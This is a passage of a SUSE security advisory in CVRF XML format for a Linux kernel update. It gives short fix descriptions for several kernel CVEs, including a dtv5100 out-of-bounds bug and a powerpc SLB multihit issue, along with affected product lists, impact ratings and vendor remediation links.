        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-68813.html</URL>
        <Description>CVE-2025-68813</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256641</URL>
        <Description>SUSE Bug 1256641</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256644</URL>
        <Description>SUSE Bug 1256644</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="25">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

media: dvb-usb: dtv5100: fix out-of-bounds in dtv5100_i2c_msg()

rlen value is a user-controlled value, but dtv5100_i2c_msg() does not
check the size of the rlen value. Therefore, if it is set to a value
larger than sizeof(st-&gt;data), an out-of-bounds vuln occurs for st-&gt;data.

Therefore, we need to add proper range checking to prevent this vuln.</Note>
    </Notes>
    <CVE>CVE-2025-68819</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-68819.html</URL>
        <Description>CVE-2025-68819</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256664</URL>
        <Description>SUSE Bug 1256664</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="26">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

powerpc/64s/slb: Fix SLB multihit issue during SLB preload

On systems using the hash MMU, there is a software SLB preload cache that
mirrors the entries loaded into the hardware SLB buffer. This preload
cache is subject to periodic eviction - typically after every 256 context
switches - to remove old entry.

To optimize performance, the kernel skips switch_mmu_context() in
switch_mm_irqs_off() when the prev and next mm_struct are the same.
However, on hash MMU systems, this can lead to inconsistencies between
the hardware SLB and the software preload cache.

If an SLB entry for a process is evicted from the software cache on one
CPU, and the same process later runs on another CPU without executing
switch_mmu_context(), the hardware SLB may retain stale entries. If the
kernel then attempts to reload that entry, it can trigger an SLB
multi-hit error.

The following timeline shows how stale SLB entries are created and can
cause a multi-hit error when a process moves between CPUs without a
MMU context switch.

CPU 0                                   CPU 1
-----                                    -----
Process P
exec                                    swapper/1
 load_elf_binary
  begin_new_exc
    activate_mm
     switch_mm_irqs_off
      switch_mmu_context
       switch_slb
       /*
        * This invalidates all
        * the entries in the HW
        * and setup the new HW
        * SLB entries as per the
        * preload cache.
        */
context_switch
sched_migrate_task migrates process P to cpu-1

Process swapper/0                       context switch (to process P)
(uses mm_struct of Process P)           switch_mm_irqs_off()
                                         switch_slb
                                           load_slb++
                                            /*
                                            * load_slb becomes 0 here
                                            * and we evict an entry from
                                            * the preload cache with
                                            * preload_age(). We still
                                            * keep HW SLB and preload
                                            * cache in sync, that is
                                            * because all HW SLB entries
                                            * anyways gets evicted in
                                            * switch_slb during SLBIA.
                                            * We then only add those
                                            * entries back in HW SLB,
                                            * which are currently
                                            * present in preload_cache
                                            * (after eviction).
                                            */
                                        load_elf_binary continues...
                                         setup_new_exec()
                                          slb_setup_new_exec()

                                        sched_switch event
                                        sched_migrate_task migrates
                                        process P to cpu-0

context_switch from swapper/0 to Process P
 switch_mm_irqs_off()
  /*
   * Since both prev and next mm struct are same we don't call
   * switch_mmu_context(). This will cause the HW SLB and SW preload
   * cache to go out of sync in preload_new_slb_context. Because there
   * was an SLB entry which was evicted from both HW and preload cache
   * on cpu-1. Now later in preload_new_slb_context(), when we will try
   * to add the same preload entry again, we will add this to the SW
   * preload cache and then will add it to the HW SLB. Since on cpu-0
   * this entry was never invalidated, hence adding this entry to the HW
   * SLB will cause a SLB multi-hit error.
   */
load_elf_binary cont
---truncated---</Note>
    </Notes>
    <CVE>CVE-2025-71078</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71078.html</URL>
        <Description>CVE-2025-71078</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256616</URL>
        <Description>SUSE Bug 1256616</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="27">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

ASoC: stm32: sai: fix OF node leak on probe

The reference taken to the sync provider OF node when probing the
platform device is currently only dropped if the set_sync() callback
fails during DAI probe.

Make sure to drop the reference on platform probe failures (e.g. probe
deferral) and on driver unbind.

This also avoids a potential use-after-free in case the DAI is ever
reprobed without first rebinding the platform driver.</Note>
    </Notes>
    <CVE>CVE-2025-71081</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
